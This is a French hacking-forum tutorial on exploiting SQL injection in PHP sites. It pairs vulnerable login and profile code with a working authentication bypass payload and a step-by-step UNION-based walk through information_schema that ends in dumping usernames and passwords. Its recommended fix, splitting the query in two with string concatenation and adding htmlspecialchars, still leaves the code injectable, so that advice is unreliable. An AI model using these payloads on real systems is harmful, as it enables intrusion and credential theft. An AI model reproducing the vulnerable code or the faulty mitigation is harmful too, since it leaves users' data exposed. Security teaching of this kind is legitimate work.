• STATISTIQUES
  • Il y a eu un total de 0 membres et 45985 visiteurs sur le site dans les dernières 24h pour un total de 45 985 personnes!
    Membres: 2 605
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] PHP France
    Pour tout savoir sur le PHP, en français. Vous trouverez des tutoriels, des exemples, des astuces, toute la do...
    Hacking
    [EN] Security Traps
    Site de challenge qui prétend être construit non pas dans le but de parfaire vos connaissances, mais plutôt dan...
    Challenges
    [EN] Astalavista
    JavaScript: 1, Exploit: 2, Crypto: 34, CrackIt: 15, Stegano: 8, Programming: 12, Logic: 36, Special: 6, Science: 4, Info...
    Challenges
    [FR] dcode
    dcode.fr est le site indispensable pour décoder des messages, tricher aux jeux de lettres, résoudre des énigmes...
    Outils / Add-on
    [FR] Infomirmo
    Challenge présenté sous la forme de 6 niveaux de difficultés diverses et variées avec chacun plusieurs chall...
    Challenges
    [FR] PHP Débutant
    Apprendre le PHP par l'exemple, facilement et simplement. Réservé d'abord aux débutants....
    Programmation
    [EN] PHPFreaks
    PHPFreaks est un site dédié à l'apprentissage et l'enseignement du PHP. Ici vous trouver...
    Programmation

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!




Note de ce sujet :
  • Moyenne : 5 (2 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
Comment exploiter une faille SQL Injection
29-01-2007, 04h32 (Modification du message : 22-09-2015, 21h51 par CyberSee.)
Message : #1
CyberSee Hors ligne
Admin fondateur de N-PN
*******



Messages : 1,721
Sujets : 287
Points: 157
Inscription : Jan 2012
Comment exploiter une faille SQL Injection
Bonjour à tous. Dans ce tuto, je vais vous expliquer comment exploiter une faille de type SQL injection, en décrivant de a-z les étapes et les façons de les détecter, en plus de vous fournir certain codage, pour pousser plus loin et contrôler le site en entier.

Qu’est-ce qu’une injection SQL?
Pour comprendre le sens de cette faille, je vais d’abord devoir passer en revue certaine notions PHP. Prenons exemple sur un formulaire d’authentification, puisque c’est là que ce genre d’exploitation est la plus intéressante.

Lorsque vous valider un formulaire, vos informations sont envoyées vers une page de validation, qui elle vérifie si le pseudo et le mot de passe sont correctes. Si oui, elle active les sessions et vous redirige vers la page des membres. Voici un codage vulnérable à une injection SQL (Structured Query Language).

Le code PHP/HTML :

Code PHP :
<div class="form">
        <
h1>Welcome</h1>
        <
form class="input" method="POST">
                
Pseudo : <input class="form-control" type="text" name="login" placeholder="pseudo"><br>
                
Passsword : <input class="form-control" type="password" name="pass" placeholder="password">
                <
input type="submit" value="Connexion" />
        </
form>
</
div>
<?
php
        
require_once('includes/site.conf.php');
        
$db = new PDO("mysql:host=localhost;dbname=".DBBASEDBUSERDBPSWD);
        
$pseudo $_REQUEST['login'];
        
$pass $_REQUEST['pass'];
 
        
$sql "SELECT * FROM jeux_user WHERE user_login = '".$pseudo."' AND user_password = '".$pass."'";
        
$sql $db->query($sql);
        
$res $sql->fetchAll();
        
$res count($res);
 
        if(
$res == 0){
                echo (
'Error');
        }else{
                echo (
'Welcome');
        }
?>

Maintenant explicitons, dans le code suivant , voilà la requete SQL :

Code :
$sql = "SELECT * FROM jeux_user WHERE user_login = '".$pseudo."' AND user_password = '".$pass."'";

celon cette requête SQL, il faut que le user_login ainsi que le user_password soit valide.

Pour cela nous allons vérifier dans la table jeux_user qu'il y est le Login 'admin' et le password 'a', ainsi , si c'est le cas ,
ma requête va me retourner une ligne, je la stock dans un tableau :

Citation :$res = $sql->fetchAll();

Ensuite je compte le nombre de ligne retourner:

Citation :$res = count($res);

Puis je fais mon petit test :

Citation :if($res == 0){
echo ('Error');
}else{
echo ('Welcome');
}

Maintenant, je me rappel, quand SQL, nous pouvons faire passer des conditions en commentaire, a l'aide d'un '#', alors que se passerait-il
si, à la fin de mon login, je rajoutais un '#' ? admin#, il ne se passe rien, accés refuser, pourquoi ça ?

En faite, lorsque vous voulez exécuter du code SQL sur un serveur,il faut d'abord fermer la chaine de caractere, les personnes ayant déjà
fais un language de prog comprendront, pour les autres, c'est simple il suffit d'ajouter un apostrophe :

admin'#

Avec l'apostrophe, le '#' n'est plus considérer comme une chaine de caractere, et donc on peut t'injecter le code !

Voilà donc comment le server interpret la requete :

$sql = "SELECT * FROM jeux_user WHERE user_login = '".$pseudo."' // AND user_password = '".$pass."'";

Nous venons donc de mettre la condition password en commentaire, seul le login doit être a 'true'.

Pour un minimum de sécuriter vous pouvez faire votre requete en deux parties :

Code :
$sql = "SELECT * FROM jeux_user WHERE user_login = '".$pseudo."'";
$sql = $db->query($sql);
$res = $sql->fetchAll();
$res = COUNT($res);
IF($res){
        $sql = "SELECT * FROM jeux_user WHERE user_password = '".$pass."'";
        $sql = $db->query($sql);
        $res = $sql->fetchAll();
        $res = COUNT($res);
}

Et penser a utiliser la fonction htmlspecialchars pour prévenir a tout autre type de faille !

Me voilà donc pour mon tout 1er tuto sur N-PN, soyez indulgent :< !

Tout d'abord, imaginons un site web ou vous pouvez voir les informations des différents utilisateurs :

Code PHP :
<?php
 
require_once('../includes/site.conf.php');
$db = new PDO("mysql:host=localhost;dbname=".DBBASEDBUSERDBPSWD);
$id $_REQUEST['id'];
 
$sql "SELECT user_login,user_mail FROM jeux_user WHERE user_id = ".$id."";
$sql $db->query($sql);
$res $sql->fetch();
 
var_dump($sql);
 
echo 
"<h1>".$res['user_login']."</h1>";
 
echo 
"<h3>".$res['user_mail']."</h3>";
 
?>

Nous voilà donc sur le profile de l'admin par exemple, si vous rajouter une quote et qu'il y a une erreur, alors il y a une faille SQL !

Maintenant il nous faut le nombre de champs, par exemple, si vous lisez le code, vous voyer qu'il y a deux champs,
user_login et user_mail, si vous faite un order by, vous irez seulement jusqu'a deux.

Citation :profile.php?id=5 order by 2 <- Aucune erreur

Citation :profile.php?id=5 order by 3 <- Erreur

Voilà comment sera interpréter votre requête SQL :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = 5 order by 2

Ensuite nous allons utiliser union all select qui permet l'affichage des données, pour trouver dans le cas suivant, la version de la BDD:

Citation :profile.php?id=-5 union all select 1,version()

Voilà la requete :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,version()

version en 5.x sont exploitable !

Deux solution maintenant, soit vous êtes sur un CMS et vous connaissez la structure de la BDD et des tables, soit il vous faut la trouver par vous même !

group_concat(schema_name)
information_schema.schemata


La fonction group_concat permet de regrouper tous les résultats sur une ligne, schema_name est une table qui contient le nom de toute les base de données que vous avez.

information_schema est une base donnée qui se génere automatiquement sous phpmyadmin, elle contient les différentes option et configuration de phpmyadmin, dont le nom de toute vos BDD, dans la table schemata !

Citation :profile.php?id=-5 union all select 1,group_concat(schema_name) FROM information_schema.schemata

Voilà la requête envoyé au server :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(schema_name) FROM information_schema.schemata

Donc là vous sera retourner les différentes base :

[Image: 418416bdd.png]

group_concat(table_name)

Donc maintenant, il nous faut trouver les différentes table, pour cela on va encore utiliser la fonction groupe_concat, mais cette fois, sur
table_name, qui encore une fois est dans information_schema

Citation :profile.php?id=-5 union all select 1,group_concat(table_name) FROM information_schema.tables

Bien évidement vous avez bien trop de table, le plus simple serait de rajouter une condition pour voir les tables qui nous intéresse

Citation :profile.php?id=-5 union all select 1,group_concat(table_name) FROM information_schema.tables where table_schema = 'jeux'

voilà côté server :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(table_name) FROM information_schema.tables where table_schema = 'jeux'

[Image: 697641bdd1.png]

group_concat(column_name)

Maintenant il nous faut les colonnes de cette table, nous allons encore utiliser la table information_schema, celle ci contient une table, column qui contient tout les
colonnes de toute les tables, donc on a besoin de la colonne column_name, de la base information_schema et de la table columns ou nous avons comme condition
table_name le nom de la table qui nous intéresse :

Citation :profile.php?id=-5 union all select 1,group_concat(column_name) FROM information_schema.columns where table_name = 'jeux_user'

voilà côté server :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union all select 1,group_concat(column_name) FROM information_schema.columns where table_name = 'jeux_user'

[Image: 515431BDD2.png]

Maintenant il ne nous reste plus qu'a récupérer les données qui nous intéresse, donc se sera pour nous les colonnes user_login et user_password :

Citation :profile.php?id=-5 union select user_login,user_password from jeux_user

côté server :

Code :
SELECT user_login,user_mail FROM jeux_user WHERE user_id = -5 union select user_login,user_password from jeux_user

Vous aurez donc l'identifiant avec le mdp qui apparaitron :

[Image: 15385119np.png]

Si vous avez des questions n'hésiter pas, ou si des explications ne sont pas claire, ou encore si je me suis tromper, dites le Smile ( je m'excuse déjà pour les fautes d'orthographe :< )

.
Soyez intelligent et restez WhiteHat!
Par CyberSee et skii
-> Merci à Skii pour sa contribution et avoir remis ce tuto au gout du jour!
+1 (0) -1 (0) Répondre


Messages dans ce sujet
Comment exploiter une faille SQL Injection - par CyberSee - 29-01-2007, 04h32
Comment exploiter une faille SQL Injection - par -zaymin- - 13-02-2007, 18h04

Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Comment est exploitée une faille XSS CyberSee 37 3,388 01-09-2015, 16h07
Dernier message: CyberSee
  [Tuto]Faille CRLF OverDreams 15 1,232 18-06-2013, 12h33
Dernier message: Hypnoze57
  [Faille WEB] LFI Swissky 10 852 25-02-2013, 22h04
Dernier message: InstinctHack
  [Faille Web] Full Path Disclosure Swissky 4 565 07-12-2012, 08h52
Dernier message: Shirobi
  Comment utiliser Metasploit EpicOut 4 415 15-09-2012, 20h47
Dernier message: Swissky
  Comment fonctionne les attaques de type IP-Spoofing Apophis 4 601 18-02-2007, 12h38
Dernier message: shutdownfuri

Atteindre :


Utilisateur(s) parcourant ce sujet : 2 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut